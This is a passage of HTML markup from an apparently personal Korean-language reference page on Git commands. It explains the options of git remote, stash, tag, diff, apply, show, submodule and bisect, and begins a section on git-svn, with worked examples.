&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;option-7&quot;&gt;Option&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-n&lt;/code&gt; : 커밋은 생성하지 않고 변경사항만 스테이징&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-remote&quot;&gt;git remote&lt;/h2&gt; &lt;h4 id=&quot;option-8&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-v&lt;/code&gt; : 원격 저장소 목록 확인&lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;command-1&quot;&gt;Command&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm&lt;/code&gt; : 원격저장소 삭제&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add&lt;/code&gt; : 원격저장소 추가&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;nginx의 특정 브랜치를 나의 리포지토리로 복사하였 을 때 remote를 사용한 내용&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;# git remote -v origin https://github.com/nginx/nginx.git (fetch) origin https://github.com/nginx/nginx.git (push) # git remote rm origin # git remote -v # git remote add origin git@github.com:iblea/nginx-1.18.git # # git remote -v origin git@github.com:iblea/nginx-1.18.git (fetch) origin git@github.com:iblea/nginx-1.18.git (push) # git remote add nginx https://github.com/nginx/nginx.git # git remote -v nginx https://github.com/nginx/nginx.git (fetch) nginx https://github.com/nginx/nginx.git (push) origin git@github.com:iblea/nginx-1.18.git (fetch) origin git@github.com:iblea/nginx-1.18.git (push) &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-stash&quot;&gt;git stash&lt;/h2&gt; &lt;p&gt;변경 사항을 임시 저장함. &lt;br /&gt; &lt;strong&gt;주의 :Untracked 파일은 저장되지 않음&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git stash git stash &amp;lt;command&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;command-2&quot;&gt;Command&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clear&lt;/code&gt; : 모든 stash 삭제&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apply stash@&amp;lt;stash number&amp;gt;&lt;/code&gt; : stash 적용 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git stash apply stash@{stash_number}&lt;/code&gt;)&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;drop stash@&amp;lt;stash number&amp;gt;&lt;/code&gt; : stash 삭제&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;list&lt;/code&gt; : stash 목록&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop&lt;/code&gt; : stash 적용 후 삭제 (apply + drop)&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;push&lt;/code&gt; : stash 생성/저장&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;show&lt;/code&gt; : stash 내용 확인 (스태시된 파일들의 변경사항 등 세부 정보 확인)&lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;opotion&quot;&gt;Opotion&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--keep-index&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-k&lt;/code&gt;) : 일반적으로 stash 진행 시 staged 된 파일도 모두 스태쉬 진행하지만 &lt;br /&gt;     &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git add&lt;/code&gt; (staged)된 내용을 제외한 나머지를 stash에 저장한다. &lt;ul&gt; &lt;li&gt;단 Untracked 파일은 stash되지 않는다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--include-untracked&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-u&lt;/code&gt;) : Untracked 파일도 stash에 포함한다.&lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;스테쉬-옵션-상세-설명&quot;&gt;스테쉬 옵션 상세 설명&lt;/h4&gt; &lt;p&gt;아래와 같이 4개의 파일이 있다고 가정하자.&lt;/p&gt; &lt;p&gt;스테이징된 파일 : a.c &lt;br /&gt; 변경된 파일 (스테이징되지 않은 파일) : b.c, c.c &lt;br /&gt; 새로 생성된(git project에 존재하지 않는) 파일 : d.c \&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;# git status Changes to be committed: (use &quot;git reset HEAD &amp;lt;file&amp;gt;...&quot; to unstage) modified: a.c Changes not staged for commit: (use &quot;git add &amp;lt;file&amp;gt;...&quot; to update what will be committed) (use &quot;git checkout -- &amp;lt;file&amp;gt;...&quot; to discard changes in working directory) modified: b.c modified: c.c Untracked files: (use &quot;git add &amp;lt;file&amp;gt;...&quot; to include in what will be committed) d.c &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이 때 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git stash -k&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--keep-index&lt;/code&gt;)를 실행하면, staged된 파일인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a.c&lt;/code&gt;파일과 Untracked 파일인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d.c&lt;/code&gt; 파일은 제외한 나머지 파일들이 스테쉬에 저장된다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;Changes to be committed: (use &quot;git reset HEAD &amp;lt;file&amp;gt;...&quot; to unstage) modified: a.c Untracked files: (use &quot;git add &amp;lt;file&amp;gt;...&quot; to include in what will be committed) d.c &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;만약 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git stash -k -u&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--keep-index --include-untracked&lt;/code&gt;)를 실행하면, staged된 파일인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a.c&lt;/code&gt;을 제외한 나머지 파일들이 스테쉬에 저장된다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;Changes to be committed: (use &quot;git reset HEAD &amp;lt;file&amp;gt;...&quot; to unstage) modified: a.c &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-tag&quot;&gt;git tag&lt;/h2&gt; &lt;p&gt;깃의 특정 커밋 해쉬를 태그로 지정할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git tag &amp;lt;tag name&amp;gt; &amp;lt;commit hash&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;태그 정보 보기&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git tag &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;관련-command&quot;&gt;관련 Command&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git show &amp;lt;tag name&amp;gt;&lt;/code&gt;: 태그 정보 확인&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push origin &amp;lt;tag name&amp;gt;&lt;/code&gt; : 태그를 원격 저장소로 푸시 &lt;a href=&quot;#git-push&quot;&gt;참조&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git push --delete origin &amp;lt;tag name&amp;gt;&lt;/code&gt; : 원격 저장소로 푸시된 태그 삭제 &lt;a href=&quot;#git-push&quot;&gt;참조&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;h4 id=&quot;option-9&quot;&gt;Option&lt;/h4&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-d &amp;lt;tag name&amp;gt;&lt;/code&gt; : 태그 삭제&lt;/p&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-diff&quot;&gt;git diff&lt;/h2&gt; &lt;p&gt;변경 사항을 비교한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git diff &amp;lt;commit hash&amp;gt;&lt;/code&gt; - 특정 커밋의 변경내역부터 작업 디렉토리의 변경내역까지 비교한다. (특정 커밋의 변경내역을 비교하는 것이 아니다.)&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git diff &amp;lt;commit hash1&amp;gt;..&amp;lt;commit hash2&amp;gt;&lt;/code&gt; - 커밋1과 커밋2 사이의 변경내역을 비교한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git diff&lt;/code&gt; 된 내용을 파일로 저장할 수 있다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git diff &amp;gt; difflog.diff&lt;/code&gt; &lt;br /&gt; 이 diff로그를 가지고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git apply&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git patch&lt;/code&gt;로 변경사항을 적용할 수 있다.&lt;/p&gt; &lt;h4 id=&quot;option-10&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--name-only&lt;/code&gt; : 변경된 파일명만 출력&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-apply&quot;&gt;git apply&lt;/h2&gt; &lt;p&gt;git diff 등으로 생성된 difflog 파일을 가지고 변경사항을 적용한다. 단 이때 difflog 파일과 변경된 라인이 일치해야 diff가 진행된다. &lt;br /&gt; git diff 후 변경 로그가 추가로 존재하여 파일의 라인이 달라졌을 경우 패치되지 않는다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git apply &amp;lt;difflog file&amp;gt;&lt;/code&gt; - difflog 파일을 가지고 변경사항을 적용한다.&lt;/p&gt; &lt;p&gt;diff 및 apply 예제 (diff 파일을 통해 적용하는 방법)&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git diff &amp;lt;commit1&amp;gt;..&amp;lt;commit2&amp;gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; ~/difflog.diff &lt;span class=&quot;c&quot;&gt;# git show &amp;lt;commit1&amp;gt; &amp;gt; ~/difflog.diff 해도 무방함. (단 show 명령어를 사용했을 경우 커밋 정보텍스트 제거 필요)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 다른 repository로 이동 후&lt;/span&gt; git apply &lt;span class=&quot;nt&quot;&gt;--reject&lt;/span&gt; ~/difflog.diff find &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;*.rej&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; f &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;option-11&quot;&gt;Option&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--reject&lt;/code&gt; : 적용할 파일에 충돌이 발생한 경우 충돌 내용을 파일로 생성하고, 충돌이 발생하지 않은 파일의 경우에는 적용한다. 충돌 내용은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*.rej&lt;/code&gt; 확장자로 생성된다.&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-show&quot;&gt;git show&lt;/h2&gt; &lt;p&gt;특정 커밋의 변경사항을 확인한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git show &amp;lt;commit hash&amp;gt;&lt;/code&gt; - 특정 커밋의 변경내역을 확인한다. &lt;br /&gt; git show된 내용을 파일로 저장한 뒤 아래와 같은 show 로그만 제거하면 diff처럼 사용할 수 있고, difflog 파일을 가지고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git apply&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git patch&lt;/code&gt;로 변경사항을 적용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;p&quot;&gt;commit aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab0f Author: test@test Date: ......... &lt;/span&gt;&lt;span class=&quot;err&quot;&gt; &lt;/span&gt; commit content &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; ................... description ................ &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;option-12&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--name-only&lt;/code&gt; : 변경된 파일명만 출력&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-submodule&quot;&gt;git submodule&lt;/h2&gt; &lt;p&gt;깃 서브모듈은 다른 깃 저장소를 현재 깃 저장소의 하위 디렉토리로 가져오는 기능이다. &lt;br /&gt; 설정된 서브모듈은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gitmodules&lt;/code&gt; 파일에서 확인할 수 있다.&lt;/p&gt; &lt;h4 id=&quot;command-3&quot;&gt;Command&lt;/h4&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule add &amp;lt;git repository url&amp;gt;&lt;/code&gt; : 서브모듈 추가 &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule add -b &amp;lt;branch&amp;gt; &amp;lt;git repository url&amp;gt;&lt;/code&gt; : 서브모듈 추가 (지정한 브랜치로 체크아웃)&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule update&lt;/code&gt; : 서브모듈 업데이트 &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--init&lt;/code&gt; : 서브모듈 초기화 옵션, 일반적으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule update --init&lt;/code&gt; 를 통해 서브모듈을 초기화 및 업데이트 한다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--recursive&lt;/code&gt; : 서브모듈 내 서브모듈 업데이트&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--remote&lt;/code&gt; : 서브모듈을 원격 저장소에 적용한다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--remote&lt;/code&gt; 옵션 뒤에 브랜치 이름을 인자로 주어 특정 브랜치만 적용시킬 수 있다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--merge&lt;/code&gt; : 서브모듈의 변경사항을 머지시킨다. 일반적으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule update --remote --merge&lt;/code&gt; 옵션을 사용하여 원격 저장소에 반영한다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule status&lt;/code&gt; : 서브모듈 상태 확인&lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule init&lt;/code&gt; : 서브모듈 초기화&lt;/p&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git submodule deinit &amp;lt;submodule path&amp;gt;&lt;/code&gt; : 서브모듈 제거 &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-f&lt;/code&gt; : 강제 옵션&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-bisect&quot;&gt;git bisect&lt;/h2&gt; &lt;p&gt;깃 bisect로 문제가 발생한 커밋을 빠르게 찾는다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git bisect start&lt;/code&gt; 를 통해 검색 시작,&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git bisect good&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git bisect bad&lt;/code&gt; 를 통해 문제가 발생한 커밋인지 아닌지를 구분&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git bisect reset&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git bisect start&lt;/code&gt;한 커밋으로 돌려놓는다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git bisect log&lt;/code&gt; : git bisect 과정 확인&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git bisect replay&lt;/code&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git bisect log &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; gitbisect.log git bisect replay gitbisect.log &lt;span class=&quot;c&quot;&gt;# 로 재시작&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git bisect skip&lt;/code&gt; - 해당 커밋을 건너뜀&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;출처 : &lt;a href=&quot;https://blog.gangnamunni.com/post/understanding_git_bisect/&quot;&gt;https://blog.gangnamunni.com/post/understanding_git_bisect/&lt;/a&gt;&lt;/p&gt; &lt;hr /&gt; &lt;h1 id=&quot;git-svn&quot;&gt;git-svn&lt;/h1&gt; &lt;p&gt;svn 저장소와 git을 연동하여 사용하는 명령어이다. &lt;br /&gt; 깃에 내장된 명령어가 아니며 별도의 설치가 필요하다.&lt;/p&gt; &lt;p&gt;자세한 사용법은 아래 링크를 참조하는것이 좋다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://dev.iasdf.com/wiki/git/git_svn_local&quot;&gt;https://dev.iasdf.com/wiki/git/git_svn_local&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://dev.iasdf.com/wiki/git/svn_to_git&quot;&gt;https://dev.iasdf.com/wiki/git/svn_to_git&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-svn-init&quot;&gt;git-svn init&lt;/h2&gt; &lt;p&gt;아래와 같이 사용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git svn init svn://&amp;lt;SVN IP&amp;gt;/&amp;lt;SVN PATH&amp;gt; --prefix=origin/ --id=svn --username=&amp;lt;svn 계정명&amp;gt; --svn-remote=&apos;&amp;lt;원하는이름&amp;gt;&apos; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;-&amp;gt; git svn remote 디렉토리가 origin/svn 이 된다. -&amp;gt; git svn fetch “&lt;svn-remote 옵션값에=&quot;&quot; 넣은=&quot;&quot; 이름=&quot;&quot;&gt;&quot; 입력 시 git svn 연동이 된다.&lt;/svn-remote&gt;&lt;/p&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-svn-fetch&quot;&gt;git-svn fetch&lt;/h2&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git svn fetch &amp;lt;svn nicknamek&amp;gt;&lt;/code&gt; 을 통해 svn 저장소의 최신 변경사항을 가져온다.&lt;/p&gt; &lt;p&gt;svn 별명을 입력하지 않으면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git svn fetch svn&lt;/code&gt; 명령어를 실행한 것과 동일하다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git svn fetch &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;만약 git svn fetch 만 진행하였으나 변경사항이 존재하거나 untracked 파일이 존재할 경우, 아래의 명령어를 실행해본다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;git update-index --assume-unchanged &amp;lt;file&amp;gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;hr /&gt; &lt;h2 id=&quot;git-svn-dcommit&quot;&gt;git-svn dcommit&lt;/h2&gt; &lt;p&gt;git svn dcommit을 통해 git의 커밋(변경) 내용을 svn으로 동기화할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 